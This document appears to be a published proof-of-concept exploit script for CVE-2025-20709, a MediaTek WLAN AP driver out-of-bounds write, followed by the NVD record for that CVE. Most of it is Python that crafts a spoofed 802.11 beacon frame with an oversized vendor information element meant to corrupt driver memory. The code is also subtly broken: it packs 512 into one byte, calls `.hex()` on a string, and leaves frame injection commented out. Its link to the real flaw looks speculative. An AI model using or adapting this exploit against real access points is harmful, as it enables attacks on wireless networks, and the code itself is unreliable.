CVE-2025-20709

# CVE-2025-20709 PoC - MediaTek WLAN AP Driver Out of Bounds Write # Vulnerability: OOB Write due to incorrect bounds check in wlan AP driver # Attack Vector: Adjacent network (802.11 frames) import struct import sys def build_malicious_80211_frame(target_bssid, trigger_value, overflow_size=256): """ Build a malicious 802.11 frame to trigger OOB write in MediaTek WLAN AP driver. The frame exploits incorrect bounds checking in the driver. """ # 802.11 MAC header - Management frame (Beacon/Probe Response variant) frame_control = struct.pack('<H', 0x0080) # Beacon frame duration = struct.pack('<H', 0x0000) addr1 = b'\xff\xff\xff\xff\xff\xff' # Destination: broadcast addr2 = target_bssid # Source: target AP BSSID addr3 = target_bssid # BSSID seq_ctrl = struct.pack('<H', 0x0000) mac_header = frame_control + duration + addr1 + addr2 + addr3 + seq_ctrl # Frame body with crafted parameters to trigger OOB write # Timestamp (8 bytes) timestamp = struct.pack('<Q', 0x0000000000000000) # Beacon interval (2 bytes) beacon_interval = struct.pack('<H', 0x0064) # Capability info (2 bytes) capability = struct.pack('<H', 0x0431) # Crafted IE (Information Element) with oversized length to trigger OOB write # The driver fails to properly validate the length field ie_tag = struct.pack('B', 0xDD) # Vendor Specific IE tag ie_length = struct.pack('B', overflow_size) # Overly large length value ie_oui = b'\x00\x0c\x43' # MediaTek OUI # Payload designed to overflow the buffer boundary overflow_payload = b'\x41' * overflow_size # Set trigger value at specific offset to control write destination overflow_payload = overflow_payload[:trigger_value] + struct.pack('<I', 0xDEADBEEF) + overflow_payload[trigger_value+4:] frame_body = timestamp + beacon_interval + capability + ie_tag + ie_length + ie_oui + overflow_payload # FCS (Frame Check Sequence) - dummy fcs = struct.pack('<I', 0x00000000) return mac_header + frame_body + fcs def exploit(target_bssid='\x00\x0c\x43\x00\x00\x01', interface='wlan0'): """ Main exploit function for CVE-2025-20709. Sends crafted 802.11 frames to trigger OOB write in MediaTek WLAN AP driver. """ print(f"[*] CVE-2025-20709 - MediaTek WLAN AP Driver OOB Write Exploit") print(f"[*] Target BSSID: {target_bssid.hex()}") print(f"[*] Interface: {interface}") # Build malicious frame frame = build_malicious_80211_frame(target_bssid, trigger_value=128, overflow_size=512) print(f"[*] Crafted frame size: {len(frame)} bytes") print(f"[!] WARNING: This PoC is for authorized security testing only.") print(f"[*] Sending malicious frame...") # In actual exploitation, use raw sockets or scapy to inject the frame: # from scapy.all import * # sendp(frame, iface=interface) return frame if __name__ == '__main__': exploit()

{"cve": {"id": "CVE-2025-20709", "sourceIdentifier": "[email protected]", "published": "2025-10-14T10:15:35.300", "lastModified": "2025-10-15T18:46:46.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to remote (proximal/adjacent) escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: WCNCR00415809; Issue ID: MSV-3405."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/October-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}